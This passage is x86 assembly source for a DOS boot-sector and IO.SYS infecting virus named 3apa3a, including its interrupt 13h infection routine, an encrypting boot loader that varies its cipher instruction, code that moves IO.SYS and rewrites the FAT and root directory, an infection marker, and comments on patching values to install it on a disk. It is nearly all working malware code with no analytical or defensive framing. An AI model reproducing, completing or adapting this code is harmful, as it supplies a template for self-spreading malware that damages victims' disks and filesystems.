                mov     cx,1E2
                rep     movsb

                inc     byte ptr ds:201         ; set to write
                mov     ax,ds:16                ; get sectors per FAT
                mul     byte ptr ds:10          ; multiply by # FATs
                mov     bx,ds:11                ; get number of sectors
                mov     cl,4                    ; occupied by the root
                shr     bx,cl                   ; directory
                db      83,0FBh,5 ; cmp bx,5    ; at least five?
                jbe     go_exit_i13             ; if not, quit

                add     ax,bx                   ;
                add     ax,ds:0E                ; add # reserved sectors
                dec     ax                      ; drop two sectors to find
                dec     ax                      ; start of last sector
                xor     dx,dx                   ; of root directory
                push    ax dx
                call    abs_sec_to_BIOS
                mov     ds:patch1-200,cx        ; move original boot
                mov     ds:patch2-200,dh        ; sector to the end of the
                xor     bx,bx                   ; root directory
                call    do_i13
                pop     dx ax
                dec     ax
                call    abs_sec_to_BIOS

                mov     ds:34,cx ;patch3        ; write io portion to
                mov     ds:37,dh ;patch4
                add     bh,6                    ; bx = 600
                call    do_i13

                push    ds
                xor     ax,ax
                mov     ds,ax
                mov     dx,ds:46C               ; get timer ticks
                pop     ds

                mov     bl,dl                   ; eight possible instructions
                db      83,0E3,3 ; and bx,3
                push    bx
                shl     bx,1                    ; convert to word index
                mov     si,bx
                mov     cx,es:[bx+encrypt_table]
                pop     bx
                push    bx
                mov     bh,bl
                shr     bl,1                    ; bl decides which ptr to use
                lea     ax,cs:[bx+2BBE]         ; patch pointer
                mov     ds:[decrypt-bs_3apa3a],ax ; and start location
                add     ch,bl
                mov     ds:[encrypt_instr-bs_3apa3a],cx
                add     ax,0CF40
                mov     ds:[patch_endptr-bs_3apa3a],ax
                pop     ax
                push    ax
                mul     dh
                add     al,90                   ; encode xchg ax,??
                add     bl,46                   ; encode inc pointer
                mov     ah,bl
                mov     ds:[patch_incptr-bs_3apa3a],ax
                mov     dx,word ptr cs:[si+decrypt_table]
                mov     word ptr cs:decrypt_instr,dx
                pop     di
                db      83,0C7 ;add di,XX       ; start past decryptor
                dw      bs_3apa3a_decrypt - bs_3apa3a
                org     $ - 1
                mov     si,di
                push    ds
                pop     es
                mov     cx,end_crypt - bs_3apa3a_decrypt; bytes to crypt
                mov     ah,al
encrypt_loop:   lodsb
decrypt_instr:  add     al,ah
                stosb
                loop    encrypt_loop

                pop     dx
                mov     cx,1                    ; write the replacement
                xor     bx,bx                   ; boot sector to the disk
                call    do_i13
exit_i13:       mov     sp,bp
                pop     bp es ds di si dx cx bx ax
                db      0EAh
old_i13         dw      0, 0

decrypt_table:  not     al
                sub     al,ah
                add     al,ah
                xor     al,ah

encrypt_table   dw     014F6                    ; not
                dw      0480                    ; add
                dw      2C80                    ; sub
                dw      3480                    ; xor
; This marks the end of the IO.SYS only portion of 3apa3a

; The boot sector portion of 3apa3a follows.

                adj_ofs = 7C00 + zero - bs_3apa3a

bs_3apa3a:      jmp     short decrypt
                nop
                ; The following is an invalid boot sector. Replace it with
                ; yours.
                db      '        '

                db       00, 00, 00, 00, 00, 00
                db       00, 00, 00, 00, 00, 00
                db       00, 00, 00, 00, 00, 00
                db       00

decrypt:        db      0BF ; mov di,
                dw      adj_ofs + bs_3apa3a_decrypt
decrypt_loop:   db      2e ; cs:
encrypt_instr   label   word
                db      80,2Dh                  ; sub byte ptr [di],XX
patch_incptr    label   word
                db      0                       ; temporary value for cryptval
                inc     di
                db      81  ; cmp
patch_endptr    label   word
                db      0ff ; pointer
                dw      adj_ofs + end_crypt
                jne     decrypt_loop
bs_3apa3a_decrypt = $ - 1
                jmp     short enter_bs_3apa3a
                nop

load_original:  xor     dx,dx                   ; set up the read
                mov     es,dx                   ; of the original boot sector
                db      0B9 ; mov cx, XXXX
patch3          dw      3
                db      0B6
patch4          db      1
                mov     bx,ds                   ; es:bx = 0:7C00
                mov     ax,201
                db      0ebh                    ; jump to code in stack
                dw      bs_3apa3a - 4 - ($ + 1)

                org     $ - 1

enter_bs_3apa3a:cli
                xor     ax,ax
                mov     ss,ax                   ; set stack to just below us
                mov     sp,7C00
                sti
                mov     dl,80                   ; reset hard drive
                int     13

                mov     ax,2F72                 ; encode JNZ load_original at
                                                ; 7BFE
                mov     ds,sp                   ; set segment registers to
                mov     es,sp                   ; 7C00
                push    ax
                mov     word ptr ds:200,201     ; do a read
                mov     ds:202,dl               ; from the hard drive
                xor     bx,bx                   ; read to 7C00:0
                mov     dh,1                    ; read head 1
                mov     cx,1                    ; read sector 1
                                                ; (assumes active boot
                                                ; sector is here)
                mov     ax,13CDh                ; encode int 13 at 7BFC
                push    ax
                call    exec_int13              ; do the read
                mov     bx,203
                cmp     byte ptr [bx-4],0AA     ; is it valid bs?
jnz_load_original:
                jne     load_original           ; if not, assume infected and
                                                ; transfer control to it
                mov     ax,ds:13                ; get number of sectors in
                dec     ax                      ; image - 1
                cmp     ax,5103                 ; hard drive too small? (5103h
                jbe     load_original           ; sectors ~ 10.6 megs)
                mov     ax,ds:1C                ; get number hidden sectors
                add     ax,ds:0E                ; add number reserved sectors
                mov     ds:9,ax                 ; store at location that holds
                                                ; the end of OEM signature
                add     ax,ds:16                ; add sectors per FAT
                dec     ax                      ; go down two sectors
                dec     ax
                push    ax
                xor     dx,dx
                mov     cx,dx
                call    work_on_sectors         ; load end of FAT to 7C00:203
                mov     ax,ds:16                ; get sectors per FAT
                push    ax                      ; save the value
                mul     byte ptr ds:10          ; multiply by # FATs
                add     ax,ds:9                 ; calculate start of root dir
                mov     ds:7,ax                 ; store it in work buffer
                mov     cl,4
                mov     si,ds:11                ; get number sectors the
                shr     si,cl                   ; root directory takes
                add     si,ax                   ; and calculate start of data
                mov     ds:5,si                 ; area and store it in buffer
                call    work_on_sectors         ; get first 5 sectors of the
                                                ; root directory
                test    byte ptr ds:403+0Bh,8   ; volume label bit set on first
                                                ; entry? (infection marker)
jne_load_original:                              ; if so, already infected, so
                jnz     jnz_load_original       ; quit
                xor     si,si
                mov     bx,1003
                mov     ax,ds:403+1A            ; get starting cluster number
                                                ; of IO.SYS
read_IO_SYS:    push    ax                      ; convert cluster to absolute
                call    clus_to_abs_sec         ; sector number
                call    work_on_sector          ; read in one cluster of IO.SYS
                inc     si
                pop     ax

                push    bx ax
                mov     bx,403+0A00             ; read into this buffer
                push    bx
                mov     al,ah                   ; find the sector with the FAT
                xor     dx,dx                   ; entry corresponding to this
                mov     ah,dl                   ; cluster
                add     ax,ds:9
                call    work_on_sectors         ; read in the FAT
                pop     bx ax
                mov     ah,dl
                shl     ax,1
                mov     di,ax
                mov     ax,[bx+di]              ; grab the FAT entry (either EOF
                                                ; or next cluster number)
                pop     bx                      ; corresponding to this cluster
                cmp     ax,0FFF0                ; is there any more to read?
                jb      read_IO_SYS             ; if so, keep going

                inc     byte ptr ds:201         ; change function to a write
                pop     cx
                dec     cx
                dec     cx
                mov     ds:4,cl
                mov     di,401                  ; scan the end of the FAT
                mov     cx,100
                mov     bp,-1
copy_IO_SYS:    xor     ax,ax                   ; look for unused clusters
                repne   scasw
                jnz     jne_load_original
                mov     [di+2],bp
                mov     bx,cx
                mov     bh,ds:4
                mov     bp,bx                   ; save starting cluster of
                push    bp cx                   ; where IO.SYS will be moved
                mov     ah,ds:0Dh
                shl     ax,1
                dec     si
                mul     si
                mov     bx,ax
                add     bx,1003
                mov     ax,bp
                call    clus_to_abs_sec
                call    work_on_sector          ; move IO.SYS to end of HD
                pop     cx bp
                or      si,si
                jnz     copy_IO_SYS

                mov     si,0DE1                 ; move all but the first two
                mov     di,0E01                 ; directory entries down one
                mov     cx,4D0                  ; (10 dir entries / sector,
                rep     movsw                   ;  5 sectors)
                                                ; DF set by exec_int13
                mov     si,421                  ; move IO.SYS entry down two
                mov     cx,10                   ; entries
                rep     movsw

                mov     ds:400+2*20+1Dh,bp      ; set starting cluster of the
                                                ; moved original IO.SYS
                or      byte ptr ds:40E,8       ; set volume label bit on first
                                                ; IO.SYS entry
                mov     bx,403                  ; point to root directory
                mov     ax,ds:7                 ; get starting cluster of
                xor     dx,dx                   ; root dir
                mov     cl,4
                call    work_on_sectors         ; write updated root directory
                pop     ax                      ; to the disk
write_FATs:     mov     bx,203                  ; point to the updated FAT
                call    work_on_sectors         ; write changed end of FAT

                dec     ax
                add     ax,ds:16                ; add sectors per FAT
                dec     byte ptr ds:10          ; processed all the FATs?
                jnz     write_FATs

                mov     ax,bp
                call    clus_to_abs_sec
                mov     cs:7C03,ax              ; store the values
                mov     cs:7C05,dx
                mov     byte ptr cs:7C01,1Ch

                xor     ax,ax                   ; reset default drive
                mov     dx,ax
                int     13

                mov     ax,201                  ; read in original boot sector
; You must patch the following values if you are installing 3apa3a on a disk
                db      0b9 ; mov cx, XXXX
patch1          dw      0
                db      0b6 ; mov dh, XX
patch2          db      0
                mov     bx,0E03
                call    perform_int13

                mov     ax,ds:403+1A            ; get starting cluster number
                call    clus_to_abs_sec         ; of IO.SYS
                xor     cx,cx
                call    work_on_sectors
                mov     bx,ds
                mov     es,cx
                call    work_on_sectors
go_load_original:
                jmp     load_original

exec_int13:     mov     ax,ds:200               ; get function from memory
                mov     dl,ds:202               ; get drive from memory
perform_int13:  int     13
                jc      go_load_original
                std
                retn

work_on_sectors:inc     cx
work_on_sector: push    cx dx ax
                call    abs_sec_to_BIOS
                call    exec_int13
                pop     ax dx cx
                add     ax,1                    ; calculate next sector
                db      83,0D2,0 ; adc dx,0     ; (don't use INC because
                add     bh,2                    ; INC doesn't set carry)
                loop    work_on_sector          ; do it for the next sector

                retn

abs_sec_to_BIOS:div     word ptr ds:18          ; divide by sectors per track
                mov     cx,dx
                inc     cl
                xor     dx,dx
                div     word ptr ds:1A          ; divide by number of heads
                ror     ah,1
                ror     ah,1
                xchg    ah,al
                add     cx,ax
                mov     dh,dl
                retn

clus_to_abs_sec:mov     cl,ds:0Dh               ; get sectors per cluster
                xor     ch,ch                   ; (convert to word)
                dec     ax
                dec     ax
                mul     cx                      ; convert cluster number to
                add     ax,ds:5                 ; absolute sector number
end_crypt:      db      83,0D2,0 ; adc dx,0
                retn

                dw      0AA55                   ; boot signature

                end     _3apa3a

